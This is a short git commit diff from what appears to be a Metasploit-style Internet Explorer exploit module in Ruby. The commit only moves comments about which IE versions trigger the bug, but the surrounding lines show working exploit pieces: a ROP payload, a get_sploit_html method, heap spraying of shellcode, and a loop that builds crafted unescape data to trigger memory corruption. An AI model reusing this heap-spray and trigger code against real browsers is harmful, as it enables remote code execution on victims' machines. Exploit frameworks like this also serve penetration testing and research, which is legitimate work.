Change JS comments in Ruby.
parent
4fa3b8f820
commit
0ce221274b
|
@ -205,6 +205,11 @@ window.onload = function() {
|
|||
rop_payload
|
||||
end
|
||||
|
||||
#
|
||||
# IE 6's call is at 6
|
||||
# IE 8's call is at 7
|
||||
# Don't think this one triggers on IE9
|
||||
#
|
||||
def get_sploit_html(target_info)
|
||||
os = target_info[:os]
|
||||
js_payload = ''
|
||||
|
@ -225,9 +230,7 @@ sprayHeap({shellcode:unescape("#{js_payload}")});
|
|||
var earth = document;
|
||||
var data = "";
|
||||
for (i=0; i<17; i++) {
|
||||
// IE 7
|
||||
if (i==6) { data += unescape("%u2020%u2030"); }
|
||||
// IE 8/9
|
||||
else if (i==7) { data += unescape("%u2020%u2030"); }
|
||||
else { data += unescape("%u4141%u4141"); }
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue